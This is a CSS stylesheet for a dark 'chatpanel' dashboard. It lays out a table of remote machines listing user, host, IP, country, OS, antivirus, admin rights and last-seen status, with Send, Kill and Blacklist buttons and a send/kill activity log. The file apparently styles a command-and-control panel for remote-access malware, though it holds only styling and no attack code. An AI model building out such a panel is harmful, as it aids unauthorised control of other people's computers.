/* =================================================================
 * chatpanel dark theme
 * Bug #2 — .table-scroll wraps the grid so columns don't get cut off
 *          on small viewports. Min-widths are sized to keep readable.
 * Bug #3 — .file-hidden replaces the OS-controlled "Choisir un fichier"
 *          string with a styled <label class="btn">.
 * Bug #4 — .dot.live/.stale/.dead are stable colours with NO pulsing
 *          keyframe (we don't want flicker on each 2s refresh).
 * ================================================================= */

* { box-sizing: border-box; }
html, body { margin: 0; padding: 0; }
html { min-height: 100vh; }
body {
    font: 14px/1.45 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
    background: #0f1115;
    color: #e6e7ea;
    min-height: 100vh;
    position: relative;
}
/* ---------------------------------------------------------------- hero background
 * The hooded-Argentina-jersey-with-MacBook hero illustration sits behind
 * the whole UI. We layer it like this:
 *   1. body          -> dark base colour (#0f1115) so the page isn't white
 *                        if the image fails to load.
 *   2. body::before  -> fixed, full-viewport image, darken + slight blur so
 *                        content cards stay legible on top.
 *   3. main cards    -> semi-transparent background so the hero still
 *                        bleeds through.
 * Modern browsers prefer bg-hero.webp; older ones get bg-hero.jpg. */
body::before {
    content: "";
    position: fixed;
    inset: 0;
    z-index: -2;
    background-image: url("bg-hero.webp");
    background-image: -webkit-image-set(
        url("bg-hero.webp") type("image/webp"),
        url("bg-hero.jpg")  type("image/jpeg")
    );
    background-image: image-set(
        url("bg-hero.webp") type("image/webp"),
        url("bg-hero.jpg")  type("image/jpeg")
    );
    /* Make the figure smaller than the viewport and float it to the
     * bottom-right corner so the dashboard cards don't sit on top of
     * the face. background-size uses width:auto height:100% equivalent
     * by setting a percentage on size + auto on the other axis. */
    background-size: auto 100%;
    background-position: right bottom;
    background-repeat: no-repeat;
    background-attachment: fixed;
}
body::after {
    /* Vignette + darken overlay. Heavy on the LEFT side (where the
     * dashboard cards live) so they stay legible. Right side stays
     * lighter so the figure is visible behind the cards. */
    content: "";
    position: fixed;
    inset: 0;
    z-index: -1;
    background:
        linear-gradient(90deg,
            rgba(8,8,10,0.88) 0%,
            rgba(8,8,10,0.65) 35%,
            rgba(8,8,10,0.18) 60%,
            rgba(8,8,10,0.05) 100%),
        linear-gradient(180deg,
            rgba(8,8,10,0.55) 0%,
            rgba(8,8,10,0.15) 35%,
            rgba(8,8,10,0.55) 100%);
    pointer-events: none;
}
@media (max-width: 720px) {
    body::before { background-image: url("bg-hero-mobile.jpg"); }
}
@media (prefers-reduced-motion: reduce) {
    body::before { background-attachment: scroll; }
}
a { color: #7ab8ff; text-decoration: none; }
a:hover { text-decoration: underline; }
code, .code, pre {
    font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
    font-size: 12.5px;
    background: #181c23;
    padding: 1px 5px;
    border-radius: 3px;
}
pre { padding: 8px 10px; overflow-x: auto; }
.muted { color: #8b94a3; }
.small { font-size: 12px; }
.warn  { color: #f5a623; }
.center { text-align: center; }

/* ---------------------------------------------------------------- topbar */
.topbar {
    display: flex;
    align-items: center;
    gap: 24px;
    padding: 12px 22px;
    background: rgba(15, 17, 21, 0.85);
    backdrop-filter: blur(8px);
    -webkit-backdrop-filter: blur(8px);
    border-bottom: 1px solid rgba(35, 39, 51, 0.6);
    position: sticky;
    top: 0;
    z-index: 10;
}
.topbar .brand { font-weight: 600; letter-spacing: .3px; }
.topbar .brand small { color: #6b7280; margin-left: 6px; font-weight: 400; }
.topnav { display: flex; gap: 14px; }
.topnav .navlink {
    color: #c8ccd4;
    padding: 6px 10px;
    border-radius: 4px;
}
.topnav .navlink:hover { background: #1d212a; text-decoration: none; }
.topnav .navlink.active { background: #1f4d8a; color: #fff; }
.who { margin-left: auto; display: flex; align-items: center; gap: 10px; }

/* ---------------------------------------------------------------- layout */
.container { max-width: 1280px; margin: 0 auto; padding: 22px; }
.page-header { margin-bottom: 16px; }
.page-header h2 { margin: 0 0 4px 0; font-size: 22px; font-weight: 600; }
.title-row { display: flex; gap: 18px; align-items: center; flex-wrap: wrap; }
.filter-row { display: flex; gap: 8px; align-items: center; margin-left: auto; }

/* ---------------------------------------------------------------- forms */
.input, input[type=text], input[type=password], input[type=number], select {
    background: #15181f;
    border: 1px solid #232733;
    color: #e6e7ea;
    border-radius: 4px;
    padding: 6px 9px;
    font: inherit;
    min-height: 32px;
}
.input:focus, input:focus, select:focus { outline: 1px solid #2f6fb6; border-color: #2f6fb6; }
label { display: block; font-size: 13px; color: #c8ccd4; margin: 8px 0; }
label.check-inline { display: inline-flex; align-items: center; gap: 6px; }
label > input, label > select { margin-top: 4px; }

/* Bug #3: visually-hide file inputs so we can style the trigger ourselves. */
.file-hidden {
    position: absolute !important;
    width: 1px; height: 1px;
    opacity: 0;
    overflow: hidden;
    clip: rect(0 0 0 0);
    pointer-events: none;
}

/* ---------------------------------------------------------------- buttons */
.btn, .btn-primary, .btn-warn, .btn-xs, .btn-act, .btn-xl, .btn-sm {
    display: inline-flex; align-items: center; justify-content: center;
    border: 1px solid transparent;
    border-radius: 4px;
    padding: 7px 12px;
    font: inherit;
    font-weight: 500;
    cursor: pointer;
    background: #1d212a;
    color: #e6e7ea;
    border-color: #2a3040;
    text-decoration: none;
    gap: 6px;
}
.btn:hover { background: #232733; }
.btn-primary { background: #2f6fb6; border-color: #2f6fb6; color: #fff; }
.btn-primary:hover { background: #3b7dc7; }
.btn-warn { background: #b85d2f; border-color: #b85d2f; color: #fff; }
.btn-warn:hover { background: #c66d3f; }
.btn-xs { padding: 4px 8px; font-size: 12px; }
.btn-xs[disabled] { opacity: .5; cursor: not-allowed; }
.btn-xl { padding: 10px 18px; font-size: 14px; font-weight: 600; }
.btn-xl .ico { font-size: 16px; }
.btn-sm { padding: 6px 12px; font-size: 12px; }
.btn-act { gap: 4px; }
.btn-send  { background: #1f4d2f; border-color: #1f4d2f; color: #cfead9; }
.btn-send:hover  { background: #2a6b3f; color: #fff; }
.btn-kill  { background: #6b1f1f; border-color: #6b1f1f; color: #f7d4d4; }
.btn-kill:hover  { background: #8b2a2a; color: #fff; }
/* El botón Del se sacó de la fila (mismo efecto que Kill). Queda el estilo
   por si se usa en otro lado. */
.btn-del    { background: #3a3a3a; border-color: #3a3a3a; color: #ddd; }
.btn-del:hover { background: #555; }
/* Botón de blacklist: morado para que no se confunda con Kill (rojo)
   ni con Del (gris). Es la acción que manda la PC a la lista negra. */
.btn-bl    { background: #4a2358; border-color: #6b2d86; color: #ecd9f7; }
.btn-bl:hover { background: #6b2d86; color: #fff; }

/* ---------------------------------------------------------------- bulkbar */
.bulkbar {
    background: rgba(21, 24, 31, 0.85);
    backdrop-filter: blur(6px);
    -webkit-backdrop-filter: blur(6px);
    border: 1px solid rgba(35, 39, 51, 0.6);
    border-radius: 6px;
    padding: 12px 14px;
    margin-bottom: 14px;
}
.bulk-row { display: flex; gap: 10px; align-items: center; flex-wrap: wrap; margin: 6px 0; }
.primary-actions { padding: 12px 14px; background: linear-gradient(180deg, #181c25 0%, #15181f 100%); border: 1px solid #2a3040; border-radius: 6px; }
.secondary-actions { padding: 8px 14px; background: #11151a; border-top: 1px dashed #2a3040; }
.file-name { min-width: 180px; }
.btn-pick { background: #1d212a; border-color: #2a3040; }
.sel-count { padding: 0 8px; font-weight: 600; color: #e1e4ec; }
.check-inline { display: inline-flex; gap: 6px; align-items: center; padding: 0 8px; cursor: pointer; }

/* ---------------------------------------------------------------- table */
.table-scroll {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
    border-radius: 6px;
    border: 1px solid rgba(35, 39, 51, 0.6);
    background: rgba(21, 24, 31, 0.78);
    backdrop-filter: blur(6px);
    -webkit-backdrop-filter: blur(6px);
}
.grid {
    width: 100%;
    table-layout: fixed;
    border-collapse: collapse;
    font-size: 12px;
}
.grid thead th {
    text-align: left;
    background: #181c23;
    border-bottom: 1px solid #232733;
    padding: 8px 8px;
    color: #c8ccd4;
    font-weight: 500;
    font-size: 10.5px;   /* headers mas chicos: entran completos en columnas angostas */
    position: sticky;
    top: 0;
}
.grid tbody td {
    padding: 6px 8px;
    border-bottom: 1px solid #1c2029;
    vertical-align: middle;
}
.grid tbody tr:hover { background: rgba(26, 30, 37, 0.7); }
.grid tbody tr.empty:hover { background: transparent; }
.grid tbody tr.pend td { color: #f5a623; }

/* --- anchos de columna -------------------------------------------------
 * TODO en px, nunca en %. Con % el navegador repartía el espacio a lo bruto
 * y los headers salían cortados ("Coun...", "A...", "F...").
 *
 * El limite real NO es el monitor: .container tiene max-width 1280px y
 * padding 22px, así que la tabla dispone de 1234px como máximo (aunque el
 * monitor sea de 1920).
 *
 * PERO el area útil real es menor que el ancho del monitor:
 *
 *   ancho útil = min(1280, viewport - 15px de scrollbar) - 44px padding - 2px borde
 *              = min(1234, viewport - 61)
 *
 * Los 15px son la barra vertical del navegador (Chrome/Edge) y los 2px el
 * borde de .table-scroll. Calcular los breakpoints sobre "viewport - 44"
 * (sin contar el scrollbar) dejaba 17px de faltante: la tabla se pasaba por
 * ~17px en casi todos los anchos y aparecía la barrita horizontal.
 * Por eso cada breakpoint se calcula como  suma_de_columnas + 69
 * (61 reales + 8 de margen por si el navegador usa un scrollbar más ancho).
 *
 * Total = 1198px con las 15 columnas y los 4 botones (Send/Kill/BL/Del).
 * Si sobra espacio, el navegador reparte el excedente entre las columnas.
 *
 * Medido con Chrome (headless) en 60 anchos: 0 barras horizontales.
 */
.col-check   { width: 30px; }   /* el checkbox del header necesita 28px */
.col-dot     { width: 20px; }
.col-user    { width: 108px; }
.col-host    { width: 108px; }  /* el nombre de PC entra entero (PC-OFICINA-01) */
.col-ip      { width: 124px; }
.col-country { width: 60px; }
.col-os      { width: 90px; }
.col-av      { width: 88px; }
.col-cpu     { width: 88px; }   /* el nombre WMI es larguisimo: siempre se recorta */
.col-ram     { width: 50px; }
.col-arch    { width: 48px; }
.col-admin   { width: 50px; }
.col-files   { width: 50px; }
.col-last    { width: 70px; }
/* 4 botones con texto miden 195px + 16px de padding de celda = 211px. */
.col-actions { width: 214px; }

.grid td, .grid th {
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
.grid td.col-check, .grid th.col-check,
.grid td.col-dot,   .grid th.col-dot,
.grid td.col-actions, .grid th.col-actions {
    overflow: visible;
}

/* La IP se muestra COMPLETA: sin "…" y sin recorte. La celda nunca
 * corta el texto — si no entra (IPv6 larga) el valor parte en dos líneas
 * dentro de la celda, así que siempre se lee entero. */
.grid td.col-ip, .grid th.col-ip {
    white-space: normal;
    overflow-wrap: anywhere;
    word-break: break-word;
    text-overflow: clip;
    overflow: hidden;
}
.grid td.col-ip .ip-val {
    font-family: ui-monospace, "SF Mono", SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace;
    font-size: 12px;
    font-variant-numeric: tabular-nums;
    letter-spacing: .1px;
    color: #bcd4f0;
    word-break: break-word;
}

/* Bug #2: any cell flagged as muted+small gets an ellipsis on overflow. */
.grid td.muted.small {
    max-width: none;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
.grid td.country { white-space: nowrap; }

/* --- responsive: que la tabla NUNCA necesites la barra horizontal --------
 * Cada breakpoint oculta las columnas menos importantes hasta que lo que
 * queda entra holgado. La IP y la columna de acciones NUNCA se ocultan
 * hasta el final: la IP identifica a cada PC y los botones son lo que se usa.
 *
 * Cada corte está calculado con   breakpoint = suma_de_columnas + 69
 * (61px reales de area útil + 8 de margen para un scrollbar más ancho).
 * Así en TODO ancho la tabla entra y nunca aparece la barrita.
 *
 *   >=1268px  15 columnas = 1198px   (area util 1207px)  -> sin barra
 *   <=1267px  13 columnas = 1100px
 *   <=1169px  11 columnas = 1000px
 *   <=1069px  10 columnas =  912px
 *   <=981px    9 columnas =  824px
 *   <=893px    8 columnas =  734px
 *   <=803px    7 columnas =  626px
 *   <=695px    6 columnas =  518px
 *   <=587px    5 columnas =  458px
 *   <=527px    4 columnas =  388px
 *   <=457px    3 columnas =  368px
 *   <=407px    2 columnas =  338px
 *   <=340px    1 columna  =  124px
 */
@media (max-width: 900px) {
    /* con 4 botones, a partir de acá van solo los íconos (miden 118px) */
    .row-actions .lbl { display: none; }
    .row-actions .btn-act { padding: 3px 6px; }
    .col-actions { width: 138px; }
}
@media (max-width: 1267px) { .col-arch,  .col-admin { display: none; } }
@media (max-width: 1169px) { .col-files, .col-ram   { display: none; } }
@media (max-width: 1069px) { .col-cpu               { display: none; } }
@media (max-width:  981px) { .col-av                { display: none; } }
@media (max-width:  893px) { .col-os                { display: none; } }
@media (max-width:  803px) { .col-host              { display: none; } }
@media (max-width:  695px) { .col-user              { display: none; } }
@media (max-width:  587px) { .col-country           { display: none; } }
@media (max-width:  527px) { .col-last              { display: none; } }
@media (max-width:  457px) { .col-dot               { display: none; } }
@media (max-width:  407px) { .col-check             { display: none; } }
/* Ultimo recurso: a 300px de ancho no hay lugar ni para los botones. */
@media (max-width:  340px) { .col-actions           { display: none; } }

/* ---------------------------------------------------------------- status dots (Bug #4) */
.dot {
    display: inline-block;
    width: 10px; height: 10px;
    border-radius: 50%;
    vertical-align: middle;
}
.dot.live   { background: #3ecf8e; }
.dot.stale  { background: #f5a623; }
.dot.dead   { background: #6b7280; }
/* Intentionally NO @keyframes pulse: it was making rows look like they were
 * blinking on every poll. The colour is enough. */

/* ---------------------------------------------------------------- badges */
.badge {
    display: inline-block;
    padding: 1px 5px;
    border-radius: 3px;
    font-size: 11px;
    background: #2a3040;
    color: #c8ccd4;
}
.badge.adm { background: #8a4dbf; color: #fff; }
.badge.pend { background: #f5a623; color: #15181f; }

/* ---------------------------------------------------------------- modals */
.modal {
    position: fixed; inset: 0;
    background: rgba(8, 10, 14, .65);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 30;
}
.modal[hidden] { display: none; }
.modal-card {
    background: #15181f;
    border: 1px solid #232733;
    border-radius: 8px;
    padding: 18px;
    width: 360px;
    max-width: 92vw;
}
.modal-card h3 { margin: 0 0 10px 0; }
.modal-actions {
    display: flex;
    gap: 8px;
    justify-content: flex-end;
    margin-top: 14px;
}

/* ---------------------------------------------------------------- flashes */
.flash {
    padding: 8px 12px;
    border-radius: 4px;
    margin: 8px 0 14px 0;
    border: 1px solid transparent;
}
.flash-ok   { background: #143524; border-color: #1f5536; color: #c9f4dc; }
.flash-err  { background: #3a1414; border-color: #6b1f1f; color: #ffc9c9; }
.flash-info { background: #1a2230; border-color: #2a3a55; color: #c8d6f0; }

/* ---------------------------------------------------------------- login */
.login-page {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    background: linear-gradient(160deg, #0f1115, #1a1e26);
    padding: 20px;
}
.login-card {
    background: rgba(21, 24, 31, 0.85);
    backdrop-filter: blur(8px);
    -webkit-backdrop-filter: blur(8px);
    border: 1px solid rgba(35, 39, 51, 0.6);
    border-radius: 8px;
    padding: 24px;
    width: 320px;
}
.login-card.wide { width: 480px; }
.login-card h1 { margin: 0 0 4px 0; font-size: 20px; }
.login-card button { width: 100%; margin-top: 10px; }

/* ---------------------------------------------------------------- misc */
.card {
    background: #15181f;
    border: 1px solid #232733;
    border-radius: 6px;
    padding: 16px 18px;
    margin-bottom: 14px;
}
.card h3 { margin: 0 0 10px 0; font-size: 16px; }
.card h4 { margin: 14px 0 6px 0; font-size: 13px; color: #c8ccd4; }
.blocked-list {
    list-style: none;
    margin: 0;
    padding: 0;
    display: flex;
    flex-wrap: wrap;
    gap: 6px 8px;
}
.blocked-list li {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    background: rgba(28, 33, 43, 0.85);
    border: 1px solid rgba(45, 52, 66, 0.9);
    border-radius: 4px;
    padding: 3px 6px;
    font-size: 12px;
}
.inline-form { display: inline; }
.genform .grid-2 {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 12px 18px;
}
.key {
    display: inline-block;
    font-family: "SFMono-Regular", Consolas, monospace;
    font-size: 12.5px;
    background: #181c23;
    border: 1px solid #232733;
    padding: 2px 6px;
    border-radius: 3px;
    color: #f5c87a;
}
/* Botones de acción de la fila: 3 en UNA línea, sin desbordar la celda.
   nowrap + ancho fijo de la columna = no se cae ninguno a otra línea. */
.row-actions { display: inline-flex; gap: 3px; flex-wrap: nowrap; white-space: nowrap; }
.row-actions .btn-act { padding: 3px 6px; font-size: 11px; font-weight: 600; gap: 2px; white-space: nowrap; }

/* ---------------------------------------------------------------- activity log
 * Visible timeline of send / kill operations: what was attempted, the
 * duration, the outcome. Each entry is a single line so the operator can
 * scan the last few minutes of work without scrolling. The list scrolls
 * internally and caps at ~100 entries (oldest is dropped). */
.activity-log {
    background: rgba(21, 24, 31, 0.78);
    backdrop-filter: blur(6px);
    -webkit-backdrop-filter: blur(6px);
    border: 1px solid rgba(35, 39, 51, 0.6);
    border-radius: 6px;
    margin-bottom: 14px;
    overflow: hidden;
}
.al-head {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 8px 12px;
    background: #181c23;
    border-bottom: 1px solid #232733;
}
.al-head h3 { margin: 0; font-size: 14px; font-weight: 600; color: #c8ccd4; }
.al-head .muted { margin-left: auto; }
.al-list {
    list-style: none;
    margin: 0;
    padding: 4px 0;
    max-height: 200px;
    overflow-y: auto;
    font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
    font-size: 12.5px;
}
.al-list li {
    padding: 4px 12px;
    border-bottom: 1px solid #1c2029;
    color: #c8ccd4;
    display: flex;
    gap: 8px;
    align-items: baseline;
    line-height: 1.4;
}
.al-list li:last-child { border-bottom: none; }
.al-list li.al-empty {
    font-style: italic;
    color: #6b7280;
    border-bottom: none;
    padding: 10px 12px;
}
.al-time {
    color: #6b7280;
    flex-shrink: 0;
    min-width: 64px;
}
.al-icon { flex-shrink: 0; }
.al-msg { flex: 1; word-break: break-word; }
.al-dur {
    color: #8b94a3;
    flex-shrink: 0;
    margin-left: 6px;
}
.al-list li.al-progress .al-msg { color: #c8d6f0; }
.al-list li.al-progress .al-icon::before { content: "⏳"; }
.al-list li.al-ok   .al-icon::before { content: "✓"; color: #3ecf8e; }
.al-list li.al-ok   .al-msg  { color: #c9f4dc; }
.al-list li.al-err  .al-icon::before { content: "✗"; color: #ff7a7a; }
.al-list li.al-err  .al-msg  { color: #ffc9c9; }
.al-list li.al-warn .al-icon::before { content: "⚠"; color: #f5a623; }
.al-list li.al-warn .al-msg  { color: #f5d9a3; }
.al-rate { color: #f5c87a; margin-left: 4px; }